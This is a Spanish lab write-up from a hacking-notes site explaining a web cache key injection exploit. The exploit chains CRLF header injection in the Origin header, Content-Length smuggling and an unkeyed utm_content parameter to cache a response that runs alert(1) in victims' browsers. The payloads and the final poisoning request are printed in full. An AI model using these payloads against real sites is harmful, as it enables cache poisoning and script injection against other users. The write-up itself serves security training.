> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/cache-poisoning/cache-key-injection.md).

# Inyección en la clave de caché

### Inyección en la clave de caché

### Inyección en la clave de caché

Necesitamos combinar múltiples fallos (incluida **inyección en la clave de caché**) para ejecutar **`alert(1)`** en el navegador de la víctima. El laboratorio requiere el uso del encabezado **`Pragma: x-get-cache-key`**.

<figure><img src="/files/6510aa47e86509a4e6b17cb8117826a42f547175" alt=""><figcaption></figcaption></figure>

#### Reconocimiento

1/) Comportamiento de inicio de sesión

* Tenemos un panel de conexión.
* Después de iniciar sesión, somos redirigidos a **`/login/?lang=en`**.
* Luego se establece una cookie de sesión.

<figure><img src="/files/a05c1af27700de0839ed4f4dfb790c68aab2d55f" alt=""><figcaption></figcaption></figure>

2/) Reflexión del `lang` parámetro

* Nuestra entrada aparece en la respuesta a través de `lang`:
* Ejemplo: **`/login/?lang=HELLLOOOO`**

```bash
/login/?lang=HELLLOOOO
```

<figure><img src="/files/09a5e2883f7f6943c317b56ca8b63b3d2aae92f4" alt=""><figcaption></figcaption></figure>

Si ponemos etiquetas HTML (por ejemplo, `<h1>`), **no se ejecuta**: hay codificación HTML\*\*.

<figure><img src="/files/72d3e86c1ae0eba4f69d219e0362c1999a658451" alt=""><figcaption></figcaption></figure>

#### Punto de entrada operativo

Archivo JS oculto: `localize.js`

```bash
/js/localize.js?lang=en&cors=0
```

Observamos un script en segundo plano:

* **`/js/localize.js?lang=en&CORS=0`**
* Respuesta observada:
* `document.cookie = 'lang=en';`

Si cambiamos `lang`, el valor se refleja:

* **`/js/localize.js?lang=hello&CORS=0`** → `hello` aparece en la respuesta.

<figure><img src="/files/fa978c30d017f5c3e25ccd43082f5899ccacc2e3" alt=""><figcaption></figcaption></figure>

### Observación de la clave de caché

Añadimos:

```http
Pragma: x-get-cache-key
```

Y obtenemos la clave:

* `X-Cache-Key: /js/localize.js?lang=en&CORS=0$$`

<figure><img src="/files/60ca2c0b7731c6f0728e54a39d95f5c06fde6f30" alt=""><figcaption></figcaption></figure>

Encontramos que `CORS` influye en la clave, y que al jugar con **Origin** + `CORS`, podemos hacer variar lo que entra en la caché.

<figure><img src="/files/a8ecfa6370efb822e16c6eaf081cfaeaaf4b9f56" alt=""><figcaption></figcaption></figure>

### Inyección de encabezados mediante Back Cart

Usamos inyección CRLF:

* `%0d%0a`

```
man ascii
```

<figure><img src="/files/2802fb2aa9cf301745b32ef87ec3d0f311a5b1fb" alt=""><figcaption></figcaption></figure>

#### 1) Prueba: inyección de cookies

Enviamos:

* `Origin: hello%0d%0aSet-Cookie:%20csrfKey=a`

Resultado: la cookie se interpreta correctamente en el lado de la respuesta.

<figure><img src="/files/5977f27a5bd780585946408e1bc782077dd3fe11" alt=""><figcaption></figcaption></figure>

#### Inyección de JavaScript mediante manipulación `Content-Length`

Luego intentamos inyectar contenido en la respuesta con:

* `Origin: x%0d%0aContent-Length:%208%0d%0a%0d%0aalert(1)$$$$`

En la respuesta, encontramos **`alert(1)`**.

<figure><img src="/files/a96d62166226bb6bc5d342e02f0baef589c1d994" alt=""><figcaption></figcaption></figure>

#### Construir una respuesta oculta dirigida

Para que el servidor almacene esta versión (con `alert(1)`), la **clave de caché** debe coincidir con un formato que incluya nuestro `Origin`, por ejemplo:

{% code overflow="wrap" %}

```http
X-Cache-Key: /js/localize.js?lang=hello&cors=1$$origin=hello%0d%0aContent-Length: 8%0d%0a%0d%0aalert(1)
```

{% endcode %}

<figure><img src="/files/4666be97db15587436cc696f31a70d978945d3d3" alt=""><figcaption></figcaption></figure>

#### Desplazamiento en el lado de la víctima mediante un parámetro ignorado

Buscamos un parámetro ignorado por la caché (encontrado con Param Miner):

* **`utm_content`**

Reutilizamos la clave de caché y colocamos la carga útil en `utm_content` para servir el recurso envenenado mientras se visita `lang=en`.

Solicitud final (como la usamos):

{% code overflow="wrap" %}

```bash
GET /login?lang=en?utm_content=x%26cors=1%26x=1$$origin=x%250d%250aContent-Length:%208%250d%250a%250d%250aalert(1)$$%23 HTTP/2
```

{% endcode %}

<figure><img src="/files/1c8f0dbeb17279ee204dc298886bb5a5559b9d63" alt=""><figcaption></figcaption></figure>

Cuando la víctima abre la página en **`/login/?lang=en`** (mediante redirección), el contenido envenenado se sirve desde la caché, y **`alert(1)`** se ejecuta.

<figure><img src="/files/ed355b61a2005b57370df63e9adbd92b94808e09" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/cache-poisoning/cache-key-injection.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
